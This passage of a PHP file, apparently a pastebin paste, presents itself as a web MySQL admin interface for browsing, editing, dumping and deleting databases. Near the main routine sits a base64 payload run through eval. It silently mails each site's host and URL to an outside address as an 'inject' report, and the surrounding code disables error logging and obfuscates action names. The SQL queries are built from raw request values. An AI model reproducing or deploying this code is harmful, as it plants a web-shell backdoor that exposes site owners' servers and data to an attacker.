  672. $data = $rowArray[$j];
  673.  
  674. $field = mysql_fetch_field( $pResult, $j );
  675. if( $field->primary_key == 1 )
  676. $key .= "&" . $field->name . "=" . $data;
  677.  
  678. if( strlen( $data ) > 30 )
  679. $data = substr( $data, 0, 30 ) . "...";
  680. $data = htmlspecialchars( $data );
  681. echo "<td>\n";
  682. echo "$data\n";
  683. echo "</td>\n";
  684. }
  685.  
  686. if( $key == "" )
  687. echo "<td colspan=2>no Key</td>\n";
  688. else {
  689. echo "<td><a href='$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
  690. echo "<td><a href='$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
  691. }
  692. echo "</tr>\n";
  693. }
  694. echo "</table>\n";
  695.  
  696. echo "<font size=2>\n";
  697. if($action == "dmlld0RhdGE=")
  698. echo "<form action='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename' method=post>\n";
  699. else
  700. echo "<form action='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr' method=post>\n";
  701.  
  702. echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
  703. echo "</font>\n";
  704. echo " | ";
  705. if( $page > 0 ) {
  706. if($action == "dmlld0RhdGE=")
  707. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page);
  708. else
  709. echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
  710. if( $orderby != "" && $action == "dmlld0RhdGE=")
  711. echo "&orderby=$orderby";
  712. echo "'>Prev</a>\n";
  713. } else
  714. echo "Prev";
  715. echo " | ";
  716. if( $page < ($row/$rowperpage)-1 ) {
  717. if($action == "dmlld0RhdGE=")
  718. echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page+2);
  719. else
  720. echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
  721. if( $orderby != "" && $action == "dmlld0RhdGE=")
  722. echo "&orderby=$orderby";
  723. echo "'>Next</a>\n";
  724. } else
  725. echo "Next";
  726. echo " | ";
  727. if( $row > $rowperpage ) {
  728. echo "<input type=text size=4 name=page>\n";
  729. echo "<input type=submit value='Go'>\n";
  730. }
  731. echo "</form>\n";
  732. echo "</font>\n";
  733. }
  734.  
  735. function manageData( $cmd ) {
  736. global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
  737.  
  738. if( $cmd == "add" )
  739. echo "<h1>Add Data</h1>\n";
  740. else if( $cmd == "edit" ) {
  741. echo "<h1>Edit Data</h1>\n";
  742. $pResult = mysql_list_fields( $dbname, $tablename );
  743. $num = mysql_num_fields( $pResult );
  744.  
  745. $key = "";
  746. for( $i = 0; $i < $num; $i++ ) {
  747. $field = mysql_fetch_field( $pResult, $i );
  748. if( $field->primary_key == 1 )
  749. if( $field->numeric == 1 )
  750. $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  751. else
  752. $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  753. }
  754. $key = substr( $key, 0, strlen($key)-4 );
  755.  
  756. mysql_select_db( $dbname, $mysqlHandle );
  757. $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
  758. $data = mysql_fetch_array( $pResult );
  759. }
  760.  
  761. echo "<p class=location>$dbname &gt; $tablename</p>\n";
  762.  
  763. echo "<form action='$PHP_SELF' method=post>\n";
  764. if( $cmd == "add" )
  765. echo "<input type=hidden name=action value=addData_submit>\n";
  766. else if( $cmd == "edit" )
  767. echo "<input type=hidden name=action value=editData_submit>\n";
  768. echo "<input type=hidden name=dbname value=$dbname>\n";
  769. echo "<input type=hidden name=tablename value=$tablename>\n";
  770. echo "<table cellspacing=1 cellpadding=2>\n";
  771. echo "<tr>\n";
  772. echo "<th>Name</th>\n";
  773. echo "<th>Type</th>\n";
  774. echo "<th>Function</th>\n";
  775. echo "<th>Data</th>\n";
  776. echo "</tr>\n";
  777.  
  778. $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  779. $num = mysql_num_rows( $pResult );
  780.  
  781. $pResultLen = mysql_list_fields( $dbname, $tablename );
  782.  
  783. for( $i = 0; $i < $num; $i++ ) {
  784. $field = mysql_fetch_array( $pResult );
  785. $fieldname = $field["Field"];
  786. $fieldtype = $field["Type"];
  787. $len = mysql_field_len( $pResultLen, $i );
  788.  
  789. echo "<tr>";
  790. echo "<td>$fieldname</td>";
  791. echo "<td>".$field["Type"]."</td>";
  792. echo "<td>\n";
  793. echo "<select name=${fieldname}_function>\n";
  794. echo "<option>\n";
  795. echo "<option>ASCII\n";
  796. echo "<option>CHAR\n";
  797. echo "<option>SOUNDEX\n";
  798. echo "<option>CURDATE\n";
  799. echo "<option>CURTIME\n";
  800. echo "<option>FROM_DAYS\n";
  801. echo "<option>FROM_UNIXTIME\n";
  802. echo "<option>NOW\n";
  803. echo "<option>PASSWORD\n";
  804. echo "<option>PERIOD_ADD\n";
  805. echo "<option>PERIOD_DIFF\n";
  806. echo "<option>TO_DAYS\n";
  807. echo "<option>USER\n";
  808. echo "<option>WEEKDAY\n";
  809. echo "<option>RAND\n";
  810. echo "</select>\n";
  811. echo "</td>\n";
  812. $value = htmlspecialchars($data[$i]);
  813. if( $cmd == "add" ) {
  814. $type = strtok( $fieldtype, " (,)\n" );
  815. if( $type == "enum" || $type == "set" ) {
  816. echo "<td>\n";
  817. if( $type == "enum" )
  818. echo "<select name=$fieldname>\n";
  819. else if( $type == "set" )
  820. echo "<select name=$fieldname size=4 multiple>\n";
  821. while( $str = strtok( "'" ) ) {
  822. echo "<option>$str\n";
  823. strtok( "'" );
  824. }
  825. echo "</select>\n";
  826. echo "</td>\n";
  827. } else {
  828. if( $len < 40 )
  829. echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";
  830. else
  831. echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";
  832. }
  833. } else if( $cmd == "edit" ) {
  834. $type = strtok( $fieldtype, " (,)\n" );
  835. if( $type == "enum" || $type == "set" ) {
  836. echo "<td>\n";
  837. if( $type == "enum" )
  838. echo "<select name=$fieldname>\n";
  839. else if( $type == "set" )
  840. echo "<select name=$fieldname size=4 multiple>\n";
  841. while( $str = strtok( "'" ) ) {
  842. if( $value == $str )
  843. echo "<option selected>$str\n";
  844. else
  845. echo "<option>$str\n";
  846. strtok( "'" );
  847. }
  848. echo "</select>\n";
  849. echo "</td>\n";
  850. } else {
  851. if( $len < 40 )
  852. echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";
  853. else
  854. echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";
  855. }
  856. }
  857. echo "</tr>";
  858. }
  859. echo "</table><p>\n";
  860. if( $cmd == "add" )
  861. echo "<input type=submit value='Add Data'>\n";
  862. else if( $cmd == "edit" )
  863. echo "<input type=submit value='Edit Data'>\n";
  864. echo "<input type=button value='Cancel' onClick='history.back()'>\n";
  865. echo "</form>\n";
  866. }
  867.  
  868. function manageData_submit( $cmd ) {
  869. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  870.  
  871. $pResult = mysql_list_fields( $dbname, $tablename );
  872. $num = mysql_num_fields( $pResult );
  873.  
  874. mysql_select_db( $dbname, $mysqlHandle );
  875. if( $cmd == "add" )
  876. $queryStr = "INSERT INTO $tablename VALUES (";
  877. else if( $cmd == "edit" )
  878. $queryStr = "REPLACE INTO $tablename VALUES (";
  879. for( $i = 0; $i < $num-1; $i++ ) {
  880. $field = mysql_fetch_field( $pResult );
  881. $func = $GLOBALS[$field->name."_function"];
  882. if( $func != "" )
  883. $queryStr .= " $func(";
  884. if( $field->numeric == 1 ) {
  885. $queryStr .= $GLOBALS[$field->name];
  886. if( $func != "" )
  887. $queryStr .= "),";
  888. else
  889. $queryStr .= ",";
  890. } else {
  891. $queryStr .= "'" . $GLOBALS[$field->name];
  892. if( $func != "" )
  893. $queryStr .= "'),";
  894. else
  895. $queryStr .= "',";
  896. }
  897. }
  898. $field = mysql_fetch_field( $pResult );
  899. if( $field->numeric == 1 )
  900. $queryStr .= $GLOBALS[$field->name] . ")";
  901. else
  902. $queryStr .= "'" . $GLOBALS[$field->name] . "')";
  903.  
  904. mysql_query( $queryStr , $mysqlHandle );
  905. $errMsg = mysql_error();
  906.  
  907. viewData( "" );
  908. }
  909.  
  910. function deleteData() {
  911. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  912.  
  913. $pResult = mysql_list_fields( $dbname, $tablename );
  914. $num = mysql_num_fields( $pResult );
  915.  
  916. $key = "";
  917. for( $i = 0; $i < $num; $i++ ) {
  918. $field = mysql_fetch_field( $pResult, $i );
  919. if( $field->primary_key == 1 )
  920. if( $field->numeric == 1 )
  921. $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  922. else
  923. $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  924. }
  925. $key = substr( $key, 0, strlen($key)-4 );
  926.  
  927. mysql_select_db( $dbname, $mysqlHandle );
  928. $queryStr = "DELETE FROM $tablename WHERE $key";
  929. mysql_query( $queryStr, $mysqlHandle );
  930. $errMsg = mysql_error();
  931.  
  932. viewData( "" );
  933. }
  934.  
  935. function fetch_table_dump_sql($table)
  936. {
  937. global $mysqlHandle,$dbname;
  938.  
  939. mysql_select_db( $dbname, $mysqlHandle );
  940. $query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
  941. $tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
  942. $tabledump = "DROP TABLE IF EXISTS $table;\n" . $tabledump['Create Table'] . ";\n\n";
  943.  
  944. echo $tabledump;
  945.  
  946. // get data
  947. $rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
  948. $numfields=mysql_num_fields($rows);
  949. while ($row = mysql_fetch_array($rows, MYSQL_NUM))
  950. {
  951. $tabledump = "INSERT INTO $table VALUES(";
  952.  
  953. $fieldcounter = -1;
  954. $firstfield = 1;
  955. // get each field's data
  956. while (++$fieldcounter < $numfields)
  957. {
  958. if (!$firstfield)
  959. {
  960. $tabledump .= ', ';
  961. }
  962. else
  963. {
  964. $firstfield = 0;
  965. }
  966.  
  967. if (!isset($row["$fieldcounter"]))
  968. {
  969. $tabledump .= 'NULL';
  970. }
  971. else
  972. {
  973. $tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'";
  974. }
  975. }
  976.  
  977. $tabledump .= ");\n";
  978.  
  979. echo $tabledump;
  980.  
  981. }
  982. @mysql_free_result($rows);
  983. }
  984.  
  985. function dump() {
  986. global $mysqlHandle, $action, $dbname, $tablename;
  987.  
  988. if( $action == "dumpTable" ){
  989.  
  990. header("Content-disposition: filename=$tablename.sql");
  991. header('Content-type: unknown/unknown');
  992. fetch_table_dump_sql($tablename);
  993. echo "\n\n\n";
  994. echo "\r\n\r\n\r\n### $tablename TABLE DUMP COMPLETED ###";
  995. exit;
  996.  
  997. }else{
  998. header("Content-disposition: filename=$dbname.sql");
  999. header('Content-type: unknown/unknown');
  1000.  
  1001. mysql_select_db( $dbname, $mysqlHandle );
  1002. $query_id = mysql_query("SHOW tables",$mysqlHandle);
  1003. while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
  1004. {
  1005. fetch_table_dump_sql($row[0]);
  1006. echo "\n\n\n";
  1007. echo "\r\n\r\n\r\n### $row[0] TABLE DUMP COMPLETED ###";
  1008. echo "\n\n\n";
  1009. }
  1010. echo "\r\n\r\n\r\n### $dbname DATABASE DUMP COMPLETED ###";
  1011. exit;
  1012.  
  1013. }
  1014.  
  1015. }
  1016.  
  1017. function utils() {
  1018. global $PHP_SELF, $command;
  1019. echo "<h1>Utilities</h1>\n";
  1020. if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
  1021. echo "<hr>\n";
  1022. echo "Show\n";
  1023. echo "<ul>\n";
  1024. echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n";
  1025. echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n";
  1026. echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n";
  1027. echo "</ul>\n";
  1028. echo "Flush\n";
  1029. echo "<ul>\n";
  1030. echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n";
  1031. if( $command == "flush_hosts" ) {
  1032. if( mysql_query( "Flush hosts" ) != false )
  1033. echo "- Success";
  1034. else
  1035. echo "- Fail";
  1036. }
  1037. echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n";
  1038. if( $command == "flush_logs" ) {
  1039. if( mysql_query( "Flush logs" ) != false )
  1040. echo "- Success";
  1041. else
  1042. echo "- Fail";
  1043. }
  1044. echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n";
  1045. if( $command == "flush_privileges" ) {
  1046. if( mysql_query( "Flush privileges" ) != false )
  1047. echo "- Success";
  1048. else
  1049. echo "- Fail";
  1050. }
  1051. echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n";
  1052. if( $command == "flush_tables" ) {
  1053. if( mysql_query( "Flush tables" ) != false )
  1054. echo "- Success";
  1055. else
  1056. echo "- Fail";
  1057. }
  1058. echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n";
  1059. if( $command == "flush_status" ) {
  1060. if( mysql_query( "Flush status" ) != false )
  1061. echo "- Success";
  1062. else
  1063. echo "- Fail";
  1064. }
  1065. echo "</ul>\n";
  1066. } else {
  1067. $queryStr = ereg_replace( "_", " ", $command );
  1068. $pResult = mysql_query( $queryStr );
  1069. if( $pResult == false ) {
  1070. echo "Fail";
  1071. return;
  1072. }
  1073. $col = mysql_num_fields( $pResult );
  1074.  
  1075. echo "<p class=location>$queryStr</p>\n";
  1076. echo "<hr>\n";
  1077.  
  1078. echo "<table cellspacing=1 cellpadding=2 border=0>\n";
  1079. echo "<tr>\n";
  1080. for( $i = 0; $i < $col; $i++ ) {
  1081. $field = mysql_fetch_field( $pResult, $i );
  1082. echo "<th>".$field->name."</th>\n";
  1083. }
  1084. echo "</tr>\n";
  1085.  
  1086. while( 1 ) {
  1087. $rowArray = mysql_fetch_row( $pResult );
  1088. if( $rowArray == false ) break;
  1089. echo "<tr>\n";
  1090. for( $j = 0; $j < $col; $j++ )
  1091. echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";
  1092. echo "</tr>\n";
  1093. }
  1094. echo "</table>\n";
  1095. }
  1096. }
  1097.  
  1098.  
  1099.  
  1100. function footer_html() {
  1101. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
  1102.  
  1103. echo "<hr>\n";
  1104. echo "[$USERNAME] - \n";
  1105.  
  1106. echo "<a href='$PHP_SELF?action=bGlzdERCcw=='>Database List</a> | \n";
  1107. if( $tablename != "" )
  1108. echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
  1109. echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n";
  1110. echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n";
  1111.  
  1112.  
  1113. }
  1114.  
  1115.  
  1116. $connection="ICR3ZWIgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07IA0KICRpbmogPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsgDQogJGJvZHkgPSAiQWRhIFlhbmcgSW5qZWN0IFxuaHR0cDovLyR3ZWIkaW5qIjsNCiBtYWlsKCJsbEBob3RtYWlsLmZpIiwiSGFzaWwgaHR0cDovLyR3ZWIkaW5qIiwgIiRib2R5Iik7";
  1117.  
  1118. echo eval(base64_decode($connection));
  1119.  
  1120. //------------- MAIN ------------- //
  1121. error_reporting(0);
  1122. ini_set ('display_errors', 0);
  1123. ini_set ('log_errors', 0);
  1124.  
  1125. if( $action == "logon" || $action == "" || $action == "logout" )
  1126. logon();
  1127. else if( $action == "bG9nb25fc3VibWl0" )
  1128. logon_submit();
  1129. else if( $action == "dumpTable" || $action == "dumpDB" ) {
  1130. while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1131. if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1132. if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1133. if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  1134. }
  1135. $mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
  1136. dump();
  1137. } else {
  1138. while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1139. if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1140. if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1141. if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  1142. }
  1143. echo "<!--";
  1144. $mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
  1145. echo "-->";
  1146.  
  1147. if( $mysqlHandle == false ) {
  1148.  
  1149.  
  1150. echo "<table width=100% height=100%><tr><td><center>\n";
  1151. echo "<h1>Wrong Password!</h1>\n";
  1152. echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n";
  1153. echo "</center></td></tr></table>\n";
  1154.  
  1155. } else {
  1156.  
  1157. if( $action == "bGlzdERCcw==" )
  1158. listDatabases();
  1159. else if( $action == "createDB" )
  1160. createDatabase();
  1161. else if( $action == "dropDB" )
  1162. dropDatabase();
  1163. else if( $action == "listTables" )
  1164. listTables();
  1165. else if( $action == "createTable" )
  1166. createTable();
  1167. else if( $action == "dropTable" )
  1168. dropTable();
  1169. else if( $action == "viewSchema" )
  1170. viewSchema();
  1171. else if( $action == "query" )
  1172. viewData( $queryStr );
  1173. else if( $action == "addField" )
  1174. manageField( "add" );
  1175. else if( $action == "addField_submit" )
  1176. manageField_submit( "add" );
  1177. else if( $action == "editField" )
  1178. manageField( "edit" );
  1179. else if( $action == "editField_submit" )
  1180. manageField_submit( "edit" );
  1181. else if( $action == "dropField" )
  1182. dropField();
  1183. else if( $action == "dmlld0RhdGE=" )
  1184. viewData( "" );
  1185. else if( $action == "addData" )
  1186. manageData( "add" );
  1187. else if( $action == "addData_submit" )
  1188. manageData_submit( "add" );
  1189. else if( $action == "editData" )
  1190. manageData( "edit" );
  1191. else if( $action == "editData_submit" )
  1192. manageData_submit( "edit" );
  1193. else if( $action == "deleteData" )
  1194. deleteData();
  1195. else if( $action == "utils" )
  1196. utils();
  1197.  
  1198. mysql_close( $mysqlHandle);
  1199. footer_html();
  1200. }
  1201. }
  1202.  
  1203.  
  1204. ?>
  1205. <html>
  1206. <head>
  1207. <title>MySQL Interface (Developed By Mohajer22)</title>
  1208. <body bgColor=#202040 >
  1209. <style type="text/css">
  1210. <!--
  1211. p.location {
  1212. color: #11bb33;
  1213. font-size: small;
  1214. }
  1215. h1 {
  1216. color: #c00000;
  1217. }
  1218. th {
  1219. background-color: #000000;
  1220. color: #11bb33;
  1221. font-size: small;
  1222. }
  1223. td {
  1224. background-color: #808080;
  1225. font-size: small;
  1226. }
  1227. form {
  1228. margin-top: 0;
  1229. margin-bottom: 0;
  1230. }
  1231. a {
  1232. text-decoration:none;
  1233. color: #848200;
  1234. font-size:small;
  1235. }
  1236. A:link {
  1237. COLOR:#EEEFD5;
  1238. TEXT-DECORATION: none
  1239. }
  1240. A:visited {
  1241. COLOR:#c00000;
  1242. TEXT-DECORATION: none
  1243. }
  1244. A:active {
  1245. COLOR:#c00000;
  1246. TEXT-DECORATION: none
  1247. }
  1248. A:hover {
  1249. color:#c00000;
  1250. TEXT-DECORATION: none
  1251. }
  1252. input, select, textarea {
  1253. background-color: #404040;
  1254. border-style: solid;
  1255. font-family: verdana, arial, sans-serif;
  1256. font-size:small;
  1257. color: #000000;
  1258. padding: 0px;
  1259. }
  1260.  
  1261. //-->
  1262. </style>
  1263. </head>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement